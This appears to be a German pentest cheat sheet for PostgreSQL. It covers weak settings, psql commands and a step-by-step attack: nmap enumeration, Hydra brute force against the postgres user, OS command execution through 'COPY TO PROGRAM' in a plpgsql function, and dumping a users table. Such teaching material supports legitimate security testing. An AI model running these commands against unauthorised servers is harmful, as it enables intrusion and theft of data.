5432 - PostgreSQL
Einführung
Typische Angriffspunkte:
Schwache Passwörter (Brute Force).
Offen zugängliche Datenbankservices (kein IP-Restricting).
SQL-Injection in Webanwendungen.
Übermäßig privilegierte Benutzer.
Gefährliche Einstellungen
trust-Authentifizierung: Ermöglicht Zugang ohne Passwort.
listen_addresses = '*': Erlaubt Verbindungen von allen Netzwerken.
log_statement = 'all': Kann sensible Daten im Log speichern.
Wichtige Befehle für PostgreSQL
\l - Listet alle Datenbanken auf.
\c <Datenbankname> - Verbindet mit der angegebenen Datenbank.
\dt - Zeigt alle Tabellen im aktuellen Schema.
\d <Tabellenname> - Zeigt die Struktur (Spalten, Datentypen) einer Tabelle.
\du - Listet alle Benutzer/Rollen und deren Rechte.
\conninfo - Zeigt Informationen zur aktuellen Verbindung.
SELECT * FROM <Tabelle>; - Gibt alle Daten aus einer Tabelle aus.
CREATE USER <Benutzer> WITH PASSWORD '<Passwort>'; - Erstellt einen neuen Benutzer mit Passwort.
GRANT ALL PRIVILEGES ON DATABASE <Datenbank> TO <Benutzer>; - Erteilt einem Benutzer alle Rechte auf eine Datenbank.
SHOW log_directory; - Zeigt das Verzeichnis der Server-Logs.
SHOW log_filename; - Zeigt den Namen der aktuellen Logdatei.
SELECT version(); - Zeigt die PostgreSQL-Version und Systeminformationen.
SELECT * FROM pg_stat_activity; - Listet aktive Verbindungen zur Datenbank.
Schritt-für-Schritt Pentest
1. Enumeration
Offene Ports und Version identifizieren:
$ nmap -p 5432 -sV <Ziel-IP>
PORT STATE SERVICE VERSION
5432/tcp open postgresql PostgreSQL 12.4
Anmelden mit Standardbenutzern: Versuche Standardbenutzer wie
postgres
ohne Passwort oder mit einfachen Passwörtern (postgres
,1234
).
2. Exploitation
Brute Force gegen PostgreSQL: Tools wie
Hydra
oderMedusa
können verwendet werden:$ hydra -l postgres -P passlist.txt <Ziel-IP> -s 5432 postgres [5432][postgres] host: <Ziel-IP> login: postgres password: admin123
Code Execution (Falls Superuser): PostgreSQL erlaubt die Ausführung von Befehlen über Extensions:
postgres=# CREATE OR REPLACE FUNCTION cmd_exec(text) RETURNS void AS $$ BEGIN EXECUTE 'COPY (SELECT '') TO PROGRAM ' || quote_literal($1); END; $$ LANGUAGE plpgsql; postgres=# SELECT cmd_exec('id');
3. Post-Exploitation
Daten exfiltrieren:
postgres=# \COPY (SELECT * FROM users) TO '/tmp/output.csv' CSV;
Systembefehle ausführen (bei Superuser-Rechten):
postgres=# COPY (SELECT '') TO PROGRAM 'whoami';
Nützliche Tools
pgcli: Alternativer Client mit Autovervollständigung und Syntaxhighlighting.
Metasploit: PostgreSQL-Login-Scanner.
Hydra/Medusa: Brute-Force-Tools für PostgreSQL.
Last updated